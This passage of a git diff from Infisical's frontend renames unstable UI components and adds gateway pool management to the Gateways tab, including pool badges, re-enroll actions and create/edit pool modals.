index 8b4a8cb82af..6d15a83c93b 100644
--- a/frontend/src/pages/organization/IdentityDetailsByIDPage/components/ViewIdentityAuth/ViewIdentityAuth.tsx
+++ b/frontend/src/pages/organization/IdentityDetailsByIDPage/components/ViewIdentityAuth/ViewIdentityAuth.tsx
@@ -7,16 +7,16 @@ import { createNotification } from "@app/components/notifications";
 import { VariablePermissionCan } from "@app/components/permissions";
 import { DeleteActionModal, Modal, ModalContent, Tooltip } from "@app/components/v2";
 import {
+  Accordion,
+  AccordionContent,
+  AccordionItem,
+  AccordionTrigger,
   Badge,
-  UnstableAccordion,
-  UnstableAccordionContent,
-  UnstableAccordionItem,
-  UnstableAccordionTrigger,
-  UnstableDropdownMenu,
-  UnstableDropdownMenuContent,
-  UnstableDropdownMenuItem,
-  UnstableDropdownMenuTrigger,
-  UnstableIconButton
+  DropdownMenu,
+  DropdownMenuContent,
+  DropdownMenuItem,
+  DropdownMenuTrigger,
+  IconButton
 } from "@app/components/v3";
 import {
   OrgPermissionIdentityActions,
@@ -183,13 +183,13 @@ export const Content = ({
 
   return (
     <>
-      <UnstableAccordion type={authMethods.length === 1 ? "single" : "multiple"} collapsible>
+      <Accordion type={authMethods.length === 1 ? "single" : "multiple"} collapsible>
         {authMethods.map((authMethod) => {
           const Component = AuthMethodComponentMap[authMethod];
 
           return (
-            <UnstableAccordionItem key={authMethod} value={authMethod}>
-              <UnstableAccordionTrigger>
+            <AccordionItem key={authMethod} value={authMethod}>
+              <AccordionTrigger>
                 <span className="mr-auto">{identityAuthToNameMap[authMethod]}</span>
                 {activeLockoutAuthMethods?.includes(authMethod) && (
                   <Tooltip content="Auth method has active lockouts">
@@ -198,13 +198,13 @@ export const Content = ({
                     </Badge>
                   </Tooltip>
                 )}
-                <UnstableDropdownMenu>
-                  <UnstableDropdownMenuTrigger asChild>
-                    <UnstableIconButton variant="ghost" size="xs">
+                <DropdownMenu>
+                  <DropdownMenuTrigger asChild>
+                    <IconButton variant="ghost" size="xs">
                       <EllipsisIcon />
-                    </UnstableIconButton>
-                  </UnstableDropdownMenuTrigger>
-                  <UnstableDropdownMenuContent align="end">
+                    </IconButton>
+                  </DropdownMenuTrigger>
+                  <DropdownMenuContent align="end">
                     <VariablePermissionCan
                       type={projectId ? "project" : "org"}
                       I={
@@ -221,7 +221,7 @@ export const Content = ({
                       }
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           isDisabled={!isAllowed}
                           onClick={(e) => {
                             e.stopPropagation();
@@ -229,7 +229,7 @@ export const Content = ({
                           }}
                         >
                           Edit Auth Method
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </VariablePermissionCan>
                     <VariablePermissionCan
@@ -248,7 +248,7 @@ export const Content = ({
                       }
                     >
                       {(isAllowed) => (
-                        <UnstableDropdownMenuItem
+                        <DropdownMenuItem
                           isDisabled={!isAllowed}
                           onClick={(e) => {
                             e.stopPropagation();
@@ -257,13 +257,13 @@ export const Content = ({
                           variant="danger"
                         >
                           Remove Auth Method
-                        </UnstableDropdownMenuItem>
+                        </DropdownMenuItem>
                       )}
                     </VariablePermissionCan>
-                  </UnstableDropdownMenuContent>
-                </UnstableDropdownMenu>
-              </UnstableAccordionTrigger>
-              <UnstableAccordionContent>
+                  </DropdownMenuContent>
+                </DropdownMenu>
+              </AccordionTrigger>
+              <AccordionContent>
                 <Component
                   identityId={identityId}
                   onEdit={() => handlePopUpOpen("identityAuthMethod", authMethod)}
@@ -271,11 +271,11 @@ export const Content = ({
                   onResetAllLockouts={onResetAllLockouts}
                   lockedOut={activeLockoutAuthMethods?.includes(authMethod)}
                 />
-              </UnstableAccordionContent>
-            </UnstableAccordionItem>
+              </AccordionContent>
+            </AccordionItem>
           );
         })}
-      </UnstableAccordion>
+      </Accordion>
       <DeleteActionModal
         isOpen={popUp?.revokeAuthMethod?.isOpen}
         title={`Are you sure you want to remove ${popUp?.revokeAuthMethod?.data ? identityAuthToNameMap[popUp?.revokeAuthMethod?.data as IdentityAuthMethod] : "this auth method"} on this identity?`}
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/GatewayTab.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/GatewayTab.tsx
index 7c1a5e5d597..92d678dd47c 100644
--- a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/GatewayTab.tsx
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/GatewayTab.tsx
@@ -1,5 +1,6 @@
 import { useState } from "react";
 import {
+  faArrowsRotate,
   faCopy,
   faDoorClosed,
   faEdit,
@@ -41,41 +42,23 @@ import {
 import { DocumentationLinkBadge } from "@app/components/v3";
 import {
   OrgGatewayPermissionActions,
+  OrgGatewayPoolPermissionActions,
   OrgPermissionSubjects
 } from "@app/context/OrgPermissionContext/types";
+import { useSubscription } from "@app/context/SubscriptionContext";
 import { withPermission } from "@app/hoc";
 import { usePopUp } from "@app/hooks";
+import { useListGatewayPools } from "@app/hooks/api/gateway-pools";
 import { gatewaysQueryKeys, useDeleteGatewayById } from "@app/hooks/api/gateways";
 import { useDeleteGatewayV2ById, useTriggerGatewayV2Heartbeat } from "@app/hooks/api/gateways-v2";
-import { GatewayHealthCheckStatus } from "@app/hooks/api/gateways-v2/types";
 
+import { CreateGatewayPoolModal } from "./components/CreateGatewayPoolModal";
 import { EditGatewayDetailsModal } from "./components/EditGatewayDetailsModal";
 import { GatewayConnectedResourcesDrawer } from "./components/GatewayConnectedResourcesDrawer";
 import { GatewayDeployModal } from "./components/GatewayDeployModal";
-
-const GatewayHealthStatus = ({
-  heartbeat,
-  lastHealthCheckStatus
-}: {
-  heartbeat?: string;
-  lastHealthCheckStatus?: GatewayHealthCheckStatus | null;
-}) => {
-  const heartbeatDate = heartbeat ? new Date(heartbeat) : null;
-
-  const isHealthy = lastHealthCheckStatus === GatewayHealthCheckStatus.Healthy;
-
-  const tooltipContent = heartbeatDate
-    ? `Last health check: ${heartbeatDate.toLocaleString()}`
-    : "No health check data available";
-
-  return (
-    <Tooltip content={tooltipContent}>
-      <span className={`cursor-default ${isHealthy ? "text-green-400" : "text-red-400"}`}>
-        {isHealthy ? "Healthy" : "Unreachable"}
-      </span>
-    </Tooltip>
-  );
-};
+import { GatewayHealthStatus } from "./components/GatewayHealthStatus";
+import { GatewayPoolsContent } from "./components/GatewayPoolsContent";
+import { ReEnrollGatewayModal } from "./components/ReEnrollGatewayModal";
 
 type GatewayConnectedCellProps = {
   isV1: boolean;
@@ -107,18 +90,41 @@ const GatewayConnectedCell = ({
 
 export const GatewayTab = withPermission(
   () => {
+    const [activeSubTab, setActiveSubTab] = useState<"all-gateways" | "gateway-pools">(
+      "all-gateways"
+    );
+    const { subscription } = useSubscription();
+    const showPoolsTab = subscription?.gatewayPool;
     const [search, setSearch] = useState("");
     const [selectedGateway, setSelectedGateway] = useState<{
       id: string;
       name: string;
     } | null>(null);
-    const { data: gateways, isPending: isGatewaysLoading } = useQuery(gatewaysQueryKeys.list());
+    const { data: gateways, isPending: isGatewaysLoading } = useQuery({
+      ...gatewaysQueryKeys.listWithTokens(),
+      refetchInterval: 15_000
+    });
+    const { data: pools } = useListGatewayPools();
+
+    // Build reverse map: gatewayId -> pool names
+    const gatewayPoolMap = new Map<string, string[]>();
+    if (showPoolsTab && pools) {
+      pools.forEach((pool) => {
+        pool.memberGatewayIds.forEach((gwId) => {
+          const existing = gatewayPoolMap.get(gwId) ?? [];
+          existing.push(pool.name);
+          gatewayPoolMap.set(gwId, existing);
+        });
+      });
+    }
 
     const { popUp, handlePopUpOpen, handlePopUpToggle } = usePopUp([
       "deployGateway",
       "deleteGateway",
       "editDetails",
-      "connectedResources"
+      "connectedResources",
+      "reEnrollGateway",
+      "createPool"
     ] as const);
 
     const deleteGatewayById = useDeleteGatewayById();
@@ -141,7 +147,10 @@ export const GatewayTab = withPermission(
     };
 
     const handleDeleteGateway = async () => {
-      const data = popUp.deleteGateway.data as { id: string; isV1: boolean };
+      const data = popUp.deleteGateway.data as {
+        id: string;
+        isV1: boolean;
+      };
       if (data.isV1) {
         await deleteGatewayById.mutateAsync(data.id);
       } else {
@@ -164,197 +173,337 @@ export const GatewayTab = withPermission(
         <div className="mb-2 flex items-center justify-between">
           <div className="flex grow items-center gap-x-2">
             <h3 className="text-lg font-medium text-mineshaft-100">Gateways</h3>
-            <DocumentationLinkBadge href="https://infisical.com/docs/documentation/platform/gateways/overview" />
+            <DocumentationLinkBadge
+              href={
+                activeSubTab === "gateway-pools"
+                  ? "https://infisical.com/docs/documentation/platform/gateways/gateway-pools"
+                  : "https://infisical.com/docs/documentation/platform/gateways/overview"
+              }
+            />
+            <div className="ml-2 flex gap-x-0.5 rounded-md border border-mineshaft-600 bg-mineshaft-800 p-0.5">
+              <Button
+                variant="outline_bg"
+                onClick={() => setActiveSubTab("all-gateways")}
+                size="xs"
+                className={`${
+                  activeSubTab === "all-gateways" ? "bg-mineshaft-500" : "bg-transparent"
+                } rounded border-none px-3 py-1 hover:bg-mineshaft-600`}
+              >
+                All Gateways
+              </Button>
+              <Button
+                variant="outline_bg"
+                onClick={() => setActiveSubTab("gateway-pools")}
+                size="xs"
+                className={`${
+                  activeSubTab === "gateway-pools" ? "bg-mineshaft-500" : "bg-transparent"
+                } rounded border-none px-3 py-1 hover:bg-mineshaft-600`}
+              >
+                Gateway Pools
+              </Button>
+            </div>
             <div className="flex grow" />
-            <Button
-              variant="outline_bg"
-              leftIcon={<FontAwesomeIcon icon={faPlus} />}
-              onClick={() => handlePopUpOpen("deployGateway")}
-            >
-              Deploy Gateway
-            </Button>
+            {activeSubTab === "all-gateways" ? (
+              <OrgPermissionCan
+                I={OrgGatewayPermissionActions.CreateGateways}
+                a={OrgPermissionSubjects.Gateway}
+              >
+                {(isAllowed: boolean) => (
+                  <Button
+                    variant="outline_bg"
+                    leftIcon={<FontAwesomeIcon icon={faPlus} />}
+                    onClick={() => handlePopUpOpen("deployGateway")}
+                    isDisabled={!isAllowed}
+                  >
+                    Create Gateway
+                  </Button>
+                )}
+              </OrgPermissionCan>
+            ) : (
+              showPoolsTab && (
+                <OrgPermissionCan
+                  I={OrgGatewayPoolPermissionActions.CreateGatewayPools}
+                  a={OrgPermissionSubjects.GatewayPool}
+                >
+                  {(isAllowed: boolean) => (
+                    <Button
+                      variant="outline_bg"
+                      leftIcon={<FontAwesomeIcon icon={faPlus} />}
+                      onClick={() => handlePopUpOpen("createPool")}
+                      isDisabled={!isAllowed}
+                    >
+                      Create Pool
+                    </Button>
+                  )}
+                </OrgPermissionCan>
+              )
+            )}
           </div>
         </div>
-        <p className="mb-4 text-sm text-mineshaft-400">
-          Create and configure gateway to access private network resources from Infisical
-        </p>
-        <div>
-          <div className="flex gap-2">
-            <Input
-              value={search}
-              onChange={(e) => setSearch(e.target.value)}
-              leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
-              placeholder="Search gateway..."
-              className="flex-1"
-            />
-          </div>
-          <TableContainer className="mt-4">
-            <Table>
-              <THead>
-                <Tr>
-                  <Th className="w-1/3">Name</Th>
-                  <Th>Connected</Th>
-                  <Th>
-                    Health Check
-                    <Tooltip
-                      asChild={false}
-                      className="normal-case"
-                      content="The last known healthcheck. Triggers every 1 hour."
-                    >
-                      <FontAwesomeIcon icon={faInfoCircle} className="ml-2" />
-                    </Tooltip>
-                  </Th>
-                  <Th className="w-5" />
-                </Tr>
-              </THead>
-              <TBody>
-                {isGatewaysLoading && (
-                  <TableSkeleton innerKey="gateway-table" columns={5} key="gateway-table" />
-                )}
-                {filteredGateway?.map((el) => (
-                  <Tr key={el.id}>
-                    <Td>
-                      <div className="flex items-center gap-2">
-                        <span>{el.name}</span>
-                        <span className="rounded-sm bg-mineshaft-700 px-1.5 py-0.5 text-xs text-mineshaft-400">
-                          Gateway v{el.isV1 ? "1" : "2"}
-                        </span>
-                      </div>
-                    </Td>
-                    <Td>
-                      <GatewayConnectedCell
-                        isV1={el.isV1}
-                        connectedResourcesCount={
-                          "connectedResourcesCount" in el ? el.connectedResourcesCount : 0
-                        }
-                        onClick={() => {
-                          setSelectedGateway({ id: el.id, name: el.name });
-                          handlePopUpOpen("connectedResources");
-                        }}
-                      />
-                    </Td>
-                    <Td>
-                      <GatewayHealthStatus
-                        heartbeat={el.heartbeat}
-                        lastHealthCheckStatus={
-                          "lastHealthCheckStatus" in el ? el.lastHealthCheckStatus : null
-                        }
-                      />
-                    </Td>
-                    <Td className="w-5">
-                      <Tooltip className="max-w-sm text-center" content="Options">
-                        <DropdownMenu>
-                          <DropdownMenuTrigger asChild>
-                            <IconButton
-                              ariaLabel="Options"
-                              colorSchema="secondary"
-                              className="w-6"
-                              variant="plain"
-                            >
-                              <FontAwesomeIcon icon={faEllipsisV} />
-                            </IconButton>
-                          </DropdownMenuTrigger>
-                          <DropdownMenuContent align="end">
-                            <DropdownMenuItem
-                              icon={<FontAwesomeIcon icon={faCopy} />}
-                              onClick={() => navigator.clipboard.writeText(el.id)}
-                            >
-                              Copy ID
-                            </DropdownMenuItem>
-                            {!el.isV1 && (
-                              <DropdownMenuItem
-                                icon={<FontAwesomeIcon icon={faHeartPulse} />}
-                                onClick={() => handleTriggerHealthCheck(el.id)}
-                              >
-                                Trigger Health Check
-                              </DropdownMenuItem>
+        {activeSubTab === "gateway-pools" ? (
+          <GatewayPoolsContent />
+        ) : (
+          <>
+            <p className="mb-4 text-sm text-mineshaft-400">
+              Create and configure gateway to access private network resources from Infisical
+            </p>
+            <div>
+              <div className="flex gap-2">
+                <Input
+                  value={search}
+                  onChange={(e) => setSearch(e.target.value)}
+                  leftIcon={<FontAwesomeIcon icon={faMagnifyingGlass} />}
+                  placeholder="Search gateway..."
+                  className="flex-1"
+                />
+              </div>
+              <TableContainer className="mt-4">
+                <Table>
+                  <THead>
+                    <Tr>
+                      <Th className="w-1/3">Name</Th>
+                      {showPoolsTab && <Th>Pools</Th>}
+                      <Th>Connected</Th>
+                      <Th>
+                        Health Check
+                        <Tooltip
+                          asChild={false}
+                          className="normal-case"
+                          content="The last known healthcheck. Triggers every 1 hour."
+                        >
+                          <FontAwesomeIcon icon={faInfoCircle} className="ml-2" />
+                        </Tooltip>
+                      </Th>
+                      <Th className="w-5" />
+                    </Tr>
+                  </THead>
+                  <TBody>
+                    {isGatewaysLoading && (
+                      <TableSkeleton innerKey="gateway-table" columns={5} key="gateway-table" />
+                    )}
+                    {filteredGateway?.map((el) => (
+                      <Tr key={el.id}>
+                        <Td>
+                          <div className="flex items-center gap-2">
+                            <span>{el.name}</span>
+                            {(() => {
+                              if ("isExpired" in el && el.isExpired) {
+                                return (
+                                  <span className="rounded-sm bg-red-900/30 px-1.5 py-0.5 text-xs text-red-400">
+                                    Expired
+                                  </span>
+                                );
+                              }
+                              if (el.isPending) {
+                                return (
+                                  <span className="rounded-sm bg-yellow-900/30 px-1.5 py-0.5 text-xs text-yellow-500">
+                                    Pending
+                                  </span>
+                                );
+                              }
+                              return (
+                                <span className="rounded-sm bg-mineshaft-700 px-1.5 py-0.5 text-xs text-mineshaft-400">
+                                  Gateway v{el.isV1 ? "1" : "2"}
+                                </span>
+                              );
+                            })()}
+                            {"hasReEnrollToken" in el && el.hasReEnrollToken && (
+                              <span className="rounded-sm bg-yellow-900/30 px-1.5 py-0.5 text-xs text-yellow-500">
+                                Re-enrolling
+                              </span>
                             )}
-                            {el.isV1 && (
-                              <OrgPermissionCan
-                                I={OrgGatewayPermissionActions.EditGateways}
-                                a={OrgPermissionSubjects.Gateway}
-                              >
-                                {(isAllowed: boolean) => (
-                                  <DropdownMenuItem
-                                    isDisabled={!isAllowed}
-                                    icon={<FontAwesomeIcon icon={faEdit} />}
-                                    onClick={() => handlePopUpOpen("editDetails", el)}
+                          </div>
+                        </Td>
+                        {showPoolsTab && (
+                          <Td>
+                            {(gatewayPoolMap.get(el.id) ?? []).length > 0 ? (
+                              <div className="flex flex-wrap gap-1">
+                                {(gatewayPoolMap.get(el.id) ?? []).map((poolName) => (
+                                  <span
+                                    key={poolName}
+                                    className="rounded-sm bg-info/15 px-1.5 py-0.5 text-xs text-info"
                                   >
-                                    Edit Details
-                                  </DropdownMenuItem>
-                                )}
-                              </OrgPermissionCan>
+                                    {poolName}
+                                  </span>
+                                ))}
+                              </div>
+                            ) : (
+                              <span className="text-mineshaft-400">&mdash;</span>
                             )}
-                            <OrgPermissionCan
-                              I={OrgGatewayPermissionActions.DeleteGateways}
-                              a={OrgPermissionSubjects.Gateway}
-                            >
-                              {(isAllowed: boolean) => (
+                          </Td>
+                        )}
+                        <Td>
+                          {el.isPending ? (
+                            <span className="text-mineshaft-400">—</span>
+                          ) : (
+                            <GatewayConnectedCell
+                              isV1={el.isV1}
+                              connectedResourcesCount={
+                                "connectedResourcesCount" in el ? el.connectedResourcesCount : 0
+                              }
+                              onClick={() => {
+                                setSelectedGateway({ id: el.id, name: el.name });
+                                handlePopUpOpen("connectedResources");
+                              }}
+                            />
+                          )}
+                        </Td>
+                        <Td>
+                          <GatewayHealthStatus
+                            heartbeat={"heartbeat" in el ? el.heartbeat : null}
+                            lastHealthCheckStatus={
+                              "lastHealthCheckStatus" in el ? el.lastHealthCheckStatus : null
+                            }
+                            isPending={el.isPending}
+                            isExpired={"isExpired" in el ? (el.isExpired as boolean) : false}
+                          />
+                        </Td>
+                        <Td className="w-5">
+                          <Tooltip className="max-w-sm text-center" content="Options">
+                            <DropdownMenu>
+                              <DropdownMenuTrigger asChild>
+                                <IconButton
+                                  ariaLabel="Options"
+                                  colorSchema="secondary"
+                                  className="w-6"
+                                  variant="plain"
+                                >
+                                  <FontAwesomeIcon icon={faEllipsisV} />
+                                </IconButton>
+                              </DropdownMenuTrigger>
+                              <DropdownMenuContent align="end">
                                 <DropdownMenuItem
-                                  isDisabled={!isAllowed}
-                                  icon={<FontAwesomeIcon icon={faTrash} />}
-                                  className="text-red"
-                                  onClick={() => handlePopUpOpen("deleteGateway", el)}
+                                  icon={<FontAwesomeIcon icon={faCopy} />}
+                                  onClick={() => navigator.clipboard.writeText(el.id)}
                                 >
-                                  Delete Gateway
+                                  Copy ID
                                 </DropdownMenuItem>
-                              )}
-                            </OrgPermissionCan>
-                          </DropdownMenuContent>
-                        </DropdownMenu>
-                      </Tooltip>
-                    </Td>
-                  </Tr>
-                ))}
-              </TBody>
-            </Table>
-            <Modal
-              isOpen={popUp.editDetails.isOpen}
-              onOpenChange={(isOpen) => handlePopUpToggle("editDetails", isOpen)}
-            >
-              <ModalContent title="Edit Gateway">
-                <EditGatewayDetailsModal
-                  gatewayDetails={popUp.editDetails.data}
-                  onClose={() => handlePopUpToggle("editDetails")}
+                                {!el.isV1 && !el.isPending && (
+                                  <DropdownMenuItem
+                                    icon={<FontAwesomeIcon icon={faHeartPulse} />}
+                                    onClick={() => handleTriggerHealthCheck(el.id)}
+                                  >
+                                    Trigger Health Check
+                                  </DropdownMenuItem>
+                                )}
+                                {el.isV1 && (
+                                  <OrgPermissionCan
+                                    I={OrgGatewayPermissionActions.EditGateways}
+                                    a={OrgPermissionSubjects.Gateway}
+                                  >
+                                    {(isAllowed: boolean) => (
+                                      <DropdownMenuItem
+                                        isDisabled={!isAllowed}
+                                        icon={<FontAwesomeIcon icon={faEdit} />}
+                                        onClick={() => handlePopUpOpen("editDetails", el)}
+                                      >
+                                        Edit Details
+                                      </DropdownMenuItem>
+                                    )}
+                                  </OrgPermissionCan>
+                                )}
+                                {!el.isV1 &&
+                                  (el.isPending || ("identityId" in el && !el.identityId)) && (
+                                    <OrgPermissionCan
+                                      I={OrgGatewayPermissionActions.EditGateways}
+                                      a={OrgPermissionSubjects.Gateway}
+                                    >
+                                      {(isAllowed: boolean) => (
+                                        <DropdownMenuItem
+                                          isDisabled={!isAllowed}
+                                          icon={<FontAwesomeIcon icon={faArrowsRotate} />}
+                                          onClick={() => handlePopUpOpen("reEnrollGateway", el)}
+                                        >
+                                          Re-enroll
+                                        </DropdownMenuItem>
+                                      )}
+                                    </OrgPermissionCan>
+                                  )}
+                                <OrgPermissionCan
+                                  I={OrgGatewayPermissionActions.DeleteGateways}
+                                  a={OrgPermissionSubjects.Gateway}
+                                >
+                                  {(isAllowed: boolean) => (
+                                    <DropdownMenuItem
+                                      isDisabled={!isAllowed}
+                                      icon={<FontAwesomeIcon icon={faTrash} />}
+                                      className="text-red"
+                                      onClick={() => handlePopUpOpen("deleteGateway", el)}
+                                    >
+                                      Delete Gateway
+                                    </DropdownMenuItem>
+                                  )}
+                                </OrgPermissionCan>
+                              </DropdownMenuContent>
+                            </DropdownMenu>
+                          </Tooltip>
+                        </Td>
+                      </Tr>
+                    ))}
+                  </TBody>
+                </Table>
+                <Modal
+                  isOpen={popUp.editDetails.isOpen}
+                  onOpenChange={(isOpen) => handlePopUpToggle("editDetails", isOpen)}
+                >
+                  <ModalContent title="Edit Gateway">
+                    <EditGatewayDetailsModal
+                      gatewayDetails={popUp.editDetails.data}
+                      onClose={() => handlePopUpToggle("editDetails")}
+                    />
+                  </ModalContent>
+                </Modal>
+                {!isGatewaysLoading && !filteredGateway?.length && (
+                  <EmptyState
+                    title={
+                      gateways?.length
+                        ? "No Gateways match search..."
+                        : "No Gateways have been configured"
+                    }
+                    icon={gateways?.length ? faSearch : faDoorClosed}
+                  />
+                )}
+                <DeleteActionModal
+                  isOpen={popUp.deleteGateway.isOpen}
+                  title={`Are you sure you want to delete gateway ${(popUp?.deleteGateway?.data as { name: string })?.name || ""}?`}
+                  onChange={(isOpen) => handlePopUpToggle("deleteGateway", isOpen)}
+                  deleteKey="confirm"
+                  onDeleteApproved={() => handleDeleteGateway()}
                 />
-              </ModalContent>
-            </Modal>
-            {!isGatewaysLoading && !filteredGateway?.length && (
-              <EmptyState
-                title={
-                  gateways?.length
-                    ? "No Gateways match search..."
-                    : "No Gateways have been configured"
-                }
-                icon={gateways?.length ? faSearch : faDoorClosed}
-              />
-            )}
-            <DeleteActionModal
-              isOpen={popUp.deleteGateway.isOpen}
-              title={`Are you sure you want to delete gateway ${
-                (popUp?.deleteGateway?.data as { name: string })?.name || ""
-              }?`}
-              onChange={(isOpen) => handlePopUpToggle("deleteGateway", isOpen)}
-              deleteKey="confirm"
-              onDeleteApproved={() => handleDeleteGateway()}
-            />
-            <GatewayDeployModal
-              isOpen={popUp.deployGateway.isOpen}
-              onOpenChange={(isOpen) => handlePopUpToggle("deployGateway", isOpen)}
-            />
-            {selectedGateway && (
-              <GatewayConnectedResourcesDrawer
-                isOpen={popUp.connectedResources.isOpen}
-                onOpenChange={(isOpen) => {
-                  handlePopUpToggle("connectedResources", isOpen);
-                  if (!isOpen) setSelectedGateway(null);
-                }}
-                gatewayId={selectedGateway.id}
-                gatewayName={selectedGateway.name}
-              />
-            )}
-          </TableContainer>
-        </div>
+                <GatewayDeployModal
+                  isOpen={popUp.deployGateway.isOpen}
+                  onOpenChange={(isOpen) => handlePopUpToggle("deployGateway", isOpen)}
+                />
+                <ReEnrollGatewayModal
+                  isOpen={popUp.reEnrollGateway.isOpen}
+                  onOpenChange={(isOpen) => handlePopUpToggle("reEnrollGateway", isOpen)}
+                  gatewayData={
+                    popUp.reEnrollGateway.data as {
+                      id: string;
+                      name: string;
+                      isPending: boolean;
+                    } | null
+                  }
+                />
+                {selectedGateway && (
+                  <GatewayConnectedResourcesDrawer
+                    isOpen={popUp.connectedResources.isOpen}
+                    onOpenChange={(isOpen) => {
+                      handlePopUpToggle("connectedResources", isOpen);
+                      if (!isOpen) setSelectedGateway(null);
+                    }}
+                    gatewayId={selectedGateway.id}
+                    gatewayName={selectedGateway.name}
+                  />
+                )}
+              </TableContainer>
+            </div>
+          </>
+        )}
+        <CreateGatewayPoolModal
+          isOpen={popUp.createPool.isOpen}
+          onToggle={(isOpen) => handlePopUpToggle("createPool", isOpen)}
+        />
       </div>
     );
   },
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/CreateGatewayPoolModal.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/CreateGatewayPoolModal.tsx
new file mode 100644
index 00000000000..3de6356cfdc
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/CreateGatewayPoolModal.tsx
@@ -0,0 +1,92 @@
+import { useMemo, useState } from "react";
+import { z } from "zod";
+
+import { createNotification } from "@app/components/notifications";
+import { Button, FormControl, Input, Modal, ModalContent } from "@app/components/v2";
+import { useCreateGatewayPool, useListGatewayPools } from "@app/hooks/api/gateway-pools";
+import { slugSchema } from "@app/lib/schemas";
+
+const formSchema = z.object({
+  name: slugSchema({ field: "name" })
+});
+
+type Props = {
+  isOpen: boolean;
+  onToggle: (isOpen: boolean) => void;
+};
+
+export const CreateGatewayPoolModal = ({ isOpen, onToggle }: Props) => {
+  const createPool = useCreateGatewayPool();
+  const { data: pools } = useListGatewayPools();
+  const [name, setName] = useState("");
+  const [formErrors, setFormErrors] = useState<z.ZodIssue[]>([]);
+
+  const errors = useMemo(() => {
+    const errorMap: Record<string, string | undefined> = {};
+    formErrors.forEach((issue) => {
+      if (issue.path.length > 0) errorMap[String(issue.path[0])] = issue.message;
+    });
+    return errorMap;
+  }, [formErrors]);
+
+  const handleSubmit = async () => {
+    setFormErrors([]);
+    const validation = formSchema.safeParse({ name });
+    if (!validation.success) {
+      setFormErrors(validation.error.issues);
+      return;
+    }
+
+    const existingNames = pools?.map((p) => p.name) || [];
+    if (existingNames.includes(name.trim())) {
+      createNotification({
+        type: "error",
+        text: "A gateway pool with this name already exists."
+      });
+      return;
+    }
+
+    try {
+      await createPool.mutateAsync({ name });
+      createNotification({ type: "success", text: `Pool "${name}" created` });
+      setName("");
+      setFormErrors([]);
+      onToggle(false);
+    } catch (err: unknown) {
+      const message = err instanceof Error ? err.message : "Failed to create pool";
+      createNotification({ type: "error", text: message });
+    }
+  };
+
+  return (
+    <Modal
+      isOpen={isOpen}
+      onOpenChange={(open) => {
+        if (!open) {
+          setName("");
+          setFormErrors([]);
+        }
+        onToggle(open);
+      }}
+    >
+      <ModalContent title="Create Gateway Pool">
+        <FormControl label="Name" isRequired isError={Boolean(errors.name)} errorText={errors.name}>
+          <Input
+            value={name}
+            onChange={(e) => setName(e.target.value)}
+            placeholder="Enter gateway pool name"
+            autoFocus
+          />
+        </FormControl>
+        <div className="mt-4 flex justify-end gap-2">
+          <Button variant="outline_bg" onClick={() => onToggle(false)} type="button">
+            Cancel
+          </Button>
+          <Button onClick={handleSubmit} isLoading={createPool.isPending}>
+            Create Pool
+          </Button>
+        </div>
+      </ModalContent>
+    </Modal>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/EditGatewayPoolModal.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/EditGatewayPoolModal.tsx
new file mode 100644
index 00000000000..f38be23be86
--- /dev/null
+++ b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/EditGatewayPoolModal.tsx
@@ -0,0 +1,86 @@
+import { useEffect, useMemo, useState } from "react";
+import { z } from "zod";
+
+import { createNotification } from "@app/components/notifications";
+import { Button, FormControl, Input, Modal, ModalContent } from "@app/components/v2";
+import { useListGatewayPools, useUpdateGatewayPool } from "@app/hooks/api/gateway-pools";
+import { TGatewayPool } from "@app/hooks/api/gateway-pools/types";
+import { slugSchema } from "@app/lib/schemas";
+
+const formSchema = z.object({
+  name: slugSchema({ field: "name" })
+});
+
+type Props = {
+  isOpen: boolean;
+  onToggle: (isOpen: boolean) => void;
+  pool?: TGatewayPool;
+};
+
+export const EditGatewayPoolModal = ({ isOpen, onToggle, pool }: Props) => {
+  const updatePool = useUpdateGatewayPool();
+  const { data: pools } = useListGatewayPools();
+  const [name, setName] = useState("");
+  const [formErrors, setFormErrors] = useState<z.ZodIssue[]>([]);
+
+  const errors = useMemo(() => {
+    const errorMap: Record<string, string | undefined> = {};
+    formErrors.forEach((issue) => {
+      if (issue.path.length > 0) errorMap[String(issue.path[0])] = issue.message;
+    });
+    return errorMap;
+  }, [formErrors]);
+
+  useEffect(() => {
+    if (pool) {
+      setName(pool.name);
+      setFormErrors([]);
+    }
+  }, [pool]);
+
+  const handleSubmit = async () => {
+    if (!pool) return;
+    setFormErrors([]);
+    const validation = formSchema.safeParse({ name });
+    if (!validation.success) {
+      setFormErrors(validation.error.issues);
+      return;
+    }
+
+    const existingNames = pools?.filter((p) => p.id !== pool.id).map((p) => p.name) || [];
+    if (existingNames.includes(name.trim())) {
+      createNotification({
+        type: "error",
+        text: "A gateway pool with this name already exists."
+      });
+      return;
+    }
+
+    try {
+      await updatePool.mutateAsync({ poolId: pool.id, name });
+      createNotification({ type: "success", text: "Pool updated" });
+      onToggle(false);
+    } catch (err: unknown) {
+      const message = err instanceof Error ? err.message : "Failed to update pool";
+      createNotification({ type: "error", text: message });
+    }
+  };
+
+  return (
+    <Modal isOpen={isOpen} onOpenChange={onToggle}>
+      <ModalContent title="Edit Gateway Pool">
+        <FormControl label="Name" isRequired isError={Boolean(errors.name)} errorText={errors.name}>
+          <Input value={name} onChange={(e) => setName(e.target.value)} />
+        </FormControl>
+        <div className="mt-4 flex justify-end gap-2">
+          <Button variant="outline_bg" onClick={() => onToggle(false)} type="button">
+            Cancel
+          </Button>
+          <Button onClick={handleSubmit} isLoading={updatePool.isPending}>
+            Save
+          </Button>
+        </div>
+      </ModalContent>
+    </Modal>
+  );
+};
diff --git a/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayCliDeploymentMethod.tsx b/frontend/src/pages/organization/NetworkingPage/components/GatewayTab/components/GatewayCliDeploymentMethod.tsx
deleted file mode 100644
index 4a654dc9d35..00000000000
